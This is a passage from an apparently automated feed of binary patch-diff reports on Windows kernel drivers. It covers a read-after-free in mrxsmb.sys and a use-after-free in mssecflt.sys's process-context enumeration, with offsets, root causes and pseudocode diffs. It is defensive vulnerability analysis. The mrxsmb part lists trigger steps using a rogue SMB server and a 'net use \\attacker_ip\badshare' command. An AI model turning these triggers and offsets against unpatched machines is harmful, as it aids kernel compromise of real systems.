- &lt;code&gt;0x1C0019F2D&lt;/code&gt;: &lt;code&gt;mov rcx, [rsi+18h]&lt;/code&gt; — the read from the possibly-freed context.
- &lt;code&gt;0x1C0019F31&lt;/code&gt;: &lt;code&gt;call cs:__imp_RxPostToWorkerThread&lt;/code&gt; — consumes the pointer.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Trigger setup:&lt;/strong&gt;
1. Stand up an SMB server that completes negotiation but returns an error in the TREE_CONNECT response (invalid/non-existent share, or an access-denied/bad-network-name status).
2. From the target (unpatched &lt;code&gt;mrxsmb.sys&lt;/code&gt;), access a UNC path to that server, e.g. &lt;code&gt;net use \\attacker_ip\badshare&lt;/code&gt;.
3. The negative NTSTATUS flows to &lt;code&gt;SmbCeCompleteVNetRootConstruction&lt;/code&gt; with a negative arg3 and takes the error path.
4. Observe the pool state at &lt;code&gt;0x1C0019F2D&lt;/code&gt; to confirm whether the VNetRoot context was freed at that point.&lt;/p&gt;
&lt;h3&gt;8. Changed Functions — Full Triage&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;SmbCeCompleteVNetRootConstruction&lt;/code&gt;&lt;/strong&gt; @ &lt;code&gt;0x1C0019DB8&lt;/code&gt; (Similarity: 0.7977, Change Type: Security Relevant)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Key Change:&lt;/strong&gt; Pre-captures &lt;code&gt;*(arg1+0x18)&lt;/code&gt; into a stack slot at entry (&lt;code&gt;0x1C0019DF6&lt;/code&gt;), gated by &lt;code&gt;Feature_1585957178__private_IsEnabledDeviceUsage&lt;/code&gt;, and consumes the cached value at the merge point (&lt;code&gt;0x1C001A0DD&lt;/code&gt;). When the feature is disabled, the original live read from &lt;code&gt;*(arg1+0x18)&lt;/code&gt; is retained at &lt;code&gt;0x1C001A0F2&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Non-security changes:&lt;/strong&gt; Register allocation reorganized (&lt;code&gt;rbp&lt;/code&gt; pushed instead of spilled; status held in &lt;code&gt;r14&lt;/code&gt; instead of &lt;code&gt;rbp&lt;/code&gt;); basic-block count grew from 50 to 55 for the gated caching logic.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Newly added helpers:&lt;/strong&gt; &lt;code&gt;Feature_1585957178__private_IsEnabledDeviceUsage&lt;/code&gt; and &lt;code&gt;Feature_1585957178__private_IsEnabledFallback&lt;/code&gt; — WIL feature-staging boilerplate supporting the gate above; no independent security logic.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Independent diff result:&lt;/strong&gt; Only &lt;code&gt;SmbCeCompleteVNetRootConstruction&lt;/code&gt; changed logic. All other differences between the two builds are WPP tracing changes (a differing global trace GUID and renumbered trace/ETW message IDs) and decompiler register renaming. No other security-relevant change was found or omitted.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;9. Unmatched Functions&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;No unmatched functions were detected in either direction. The patch is an in-place logical change to one function plus the added feature-flag helpers.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;10. Confidence &amp;amp; Caveats&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Confidence Level:&lt;/strong&gt; High that the read-after-free exists in the unpatched build and that the patched build adds a pre-capture mitigation for it.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Caveats:&lt;/strong&gt; The fix is feature-gated (&lt;code&gt;Feature_1585957178__private_IsEnabledDeviceUsage&lt;/code&gt;) with the original live read retained when the feature is off, so it is a staged rollout rather than an unconditional fix. Actual exploitability depends on &lt;code&gt;SmbCeDereferenceVNetRootContext&lt;/code&gt; dropping the last reference to the VNetRoot context at the error completion; if other references remain, the object survives and the read is safe.&lt;/li&gt;
&lt;/ul&gt;</content><category term="Corpus"/></entry><entry><title>mssecflt.sys — Use-after-free during process-context enumeration under shared lock (CWE-416) fixed</title><link href="https://byteray-ai.github.io/drift-corpus/item/mssecflt_d7e598a5-mssecflt-report-20260629-151630.html" rel="alternate"/><published>2026-06-29T00:00:00-07:00</published><updated>2026-06-29T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-06-29:/drift-corpus/item/mssecflt_d7e598a5-mssecflt-report-20260629-151630.html</id><summary type="html">&lt;p&gt;KB5078752&lt;/p&gt;</summary><content type="html">&lt;h3&gt;1. Overview&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Unpatched Binary:&lt;/strong&gt; &lt;code&gt;mssecflt_unpatched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Patched Binary:&lt;/strong&gt; &lt;code&gt;mssecflt_patched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Overall Similarity Score:&lt;/strong&gt; 0.9862&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Diff Statistics:&lt;/strong&gt; 877 matched, 25 changed, 852 identical, 0 unmatched (in both directions).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; The patch adds a reference-and-snapshot enumeration path to &lt;code&gt;SecEnumerateProcessContexts&lt;/code&gt; that pins each process-context entry with a reference count and releases the shared push lock before invoking the per-entry callback. This removes a use-after-free / race window in which a callback (or a concurrent path) could free the entry that enumeration was still using. The new path is on by default; the old in-lock path is retained behind a registry-controlled feature bit.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;2. Vulnerability Summary&lt;/h3&gt;
&lt;h4&gt;Finding 1: Callback-Under-Shared-Lock Use-After-Free (Medium)&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability Class:&lt;/strong&gt; Use-After-Free / Race Condition (CWE-416, CWE-362, CWE-667)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Function:&lt;/strong&gt; &lt;code&gt;SecEnumerateProcessContexts&lt;/code&gt; (unpatched @ &lt;code&gt;0x14002CF04&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Root Cause:&lt;/strong&gt; The unpatched code iterates the 128-bucket process-context hash table (&lt;code&gt;SecProcessTable&lt;/code&gt;, buckets at &lt;code&gt;[SecProcessTable+0x140]&lt;/code&gt;) while holding only a &lt;em&gt;shared&lt;/em&gt; push lock (&lt;code&gt;FltAcquirePushLockSharedEx&lt;/code&gt; on &lt;code&gt;SecProcessTable+8&lt;/code&gt;). For each list node it computes the entry object at &lt;code&gt;node-0x10&lt;/code&gt;, advances the next pointer, and invokes an indirect, CFG-dispatched callback (&lt;code&gt;__guard_dispatch_icall_fptr&lt;/code&gt; on the pointer in &lt;code&gt;rax&lt;/code&gt;, originally &lt;code&gt;rcx&lt;/code&gt;) with the entry as the first argument. No reference is taken on the entry across the callback. If the callback (a per-process policy handler such as &lt;code&gt;SecApplyReadWriteTelemetryPolicyForProcess&lt;/code&gt;, &lt;code&gt;SecApplyFileOpenMonitoringForProcess&lt;/code&gt;, or &lt;code&gt;SecApplyTiLocalExecProtectVmForProcess&lt;/code&gt;) drops the entry's last reference or otherwise triggers its teardown, the entry can be freed/recycled while enumeration continues to use it and its next pointer, producing a use-after-free.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The Fix:&lt;/strong&gt; The patched &lt;code&gt;SecEnumerateProcessContexts&lt;/code&gt; (@ &lt;code&gt;0x14002CFC0&lt;/code&gt;) adds a code path selected when &lt;code&gt;SecData+0x510&lt;/code&gt; bit 0 is &lt;strong&gt;clear&lt;/strong&gt;. On this path the function walks the table under the shared lock, calls &lt;code&gt;SecReferenceProcessContext&lt;/code&gt; on every entry to pin it, stores the pinned entry pointers into a pool buffer sized from the entry count at &lt;code&gt;[SecProcessTable+0x148]&lt;/code&gt; (tag &lt;code&gt;'Scce'&lt;/code&gt;), releases the shared lock, and only &lt;em&gt;then&lt;/em&gt; invokes the callback on each pinned entry, calling &lt;code&gt;SecReleaseProcessContext&lt;/code&gt; after each. The old in-lock traversal is preserved and runs only when the bit is set.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Attacker-Reachable Entry Point:&lt;/strong&gt; The enumerator is invoked from the driver-configuration/policy-apply paths (&lt;code&gt;SecSetDriverConfiguration&lt;/code&gt;) and from process create/exit and timer maintenance. The configuration path is reachable through the &lt;code&gt;\MicrosoftSecFilterControlPort&lt;/code&gt; minifilter communication port via &lt;code&gt;SecMessage&lt;/code&gt;, but sending policy-configuration messages to that port normally requires the privileged management service; an unprivileged attacker is not shown to reach it.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Data Flow (a reachable chain):&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SecMessage&lt;/code&gt; (the port message handler) dispatches a configuration message to &lt;code&gt;SecSetDriverConfiguration&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SecSetDriverConfiguration&lt;/code&gt; applies policy and calls &lt;code&gt;SecEnumerateProcessContexts&lt;/code&gt; with a per-process callback.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SecEnumerateProcessContexts&lt;/code&gt; acquires the shared lock and, on the unpatched build, invokes the callback on each entry while the lock is held.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Finding 2: Timer/Notification-Driven Enumeration Race (Low)&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability Class:&lt;/strong&gt; Use-After-Free / Race Condition (CWE-416, CWE-362)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Function:&lt;/strong&gt; &lt;code&gt;SecPerformProcessAssertionsForAllProcesses&lt;/code&gt; (unpatched @ &lt;code&gt;0x14002DD1C&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Root Cause:&lt;/strong&gt; Same in-lock-traversal shape as Finding 1. Under the shared &lt;code&gt;SecProcessTable&lt;/code&gt; lock it iterates every bucket and, for each entry, calls &lt;code&gt;PsLookupProcessByProcessId&lt;/code&gt; on the entry's process id (&lt;code&gt;[entry+0x20]&lt;/code&gt;), then &lt;code&gt;SecDetPerformProcessAssertionsWithContext&lt;/code&gt;, then &lt;code&gt;ObfDereferenceObject&lt;/code&gt;, without pinning the entry across the work.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The Fix:&lt;/strong&gt; The patched version (@ &lt;code&gt;0x14002DF1C&lt;/code&gt;) adds the same &lt;code&gt;SecData+0x510&lt;/code&gt; bit-0 check; when the bit is clear (default) it delegates to &lt;code&gt;SecEnumerateProcessContexts&lt;/code&gt; (the reference-and-snapshot path) instead of traversing under the lock. The old in-lock traversal is kept only when the bit is set.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Attacker-Reachable Entry Point:&lt;/strong&gt; Autonomous. Called from the timer-driven maintenance routine &lt;code&gt;SecDetTimerPerformDeferredAssertionsImpl&lt;/code&gt; (@ &lt;code&gt;0x140042400&lt;/code&gt;). Process creation/termination populates and mutates the same table, so the race is driven by process-lifetime activity rather than a direct user-mode request.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;3. Pseudocode Diff&lt;/h3&gt;
&lt;p&gt;High-level logic of the unpatched &lt;code&gt;SecEnumerateProcessContexts&lt;/code&gt; and its patched replacement, focusing on the traversal.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// UNPATCHED: SecEnumerateProcessContexts @ 0x14002CF04&lt;/span&gt;
&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;SecEnumerateProcessContexts&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;callback_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;callback&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;SecData&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;flags_4f8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;// not initialized&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;FltAcquirePushLockSharedEx&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;SecProcessTable&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// SHARED lock&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bucket&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bucket&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x80&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bucket&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;node&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SecProcessTable&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;buckets&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;bucket&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// [SecProcessTable+0x140]&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;node&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sentinel&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;node&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x10&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="c1"&gt;// process-context object&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;node&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;node&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                          &lt;/span&gt;&lt;span class="c1"&gt;// advance BEFORE callback&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;callback&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;// *** callback WHILE lock held,&lt;/span&gt;
&lt;span class="w"&gt;                                                    &lt;/span&gt;&lt;span class="c1"&gt;//     entry NOT reference-pinned ***&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;FltReleasePushLockEx&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;SecProcessTable&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// PATCHED: SecEnumerateProcessContexts @ 0x14002CFC0&lt;/span&gt;
&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;SecEnumerateProcessContexts&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;callback_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;callback&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;SecData&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;flags_4f8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;FltAcquirePushLockSharedEx&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;SecProcessTable&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;SecData&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mh"&gt;0x510&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// Old in-lock path, retained; runs only when the feature bit is SET&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// ... same callback-under-shared-lock traversal ...&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;FltReleasePushLockEx&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;SecProcessTable&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// Default path (feature bit CLEAR): reference + snapshot, then release, then call&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SecProcessTable&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;entry_count&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;// [SecProcessTable+0x148]&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FltReleasePushLockEx&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;SecProcessTable&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;snap&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ExAllocatePoolWithTag&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PagedPool&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="n"&gt;Scce&lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;snap&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FltReleasePushLockEx&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;SecProcessTable&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bucket&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bucket&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x80&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bucket&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
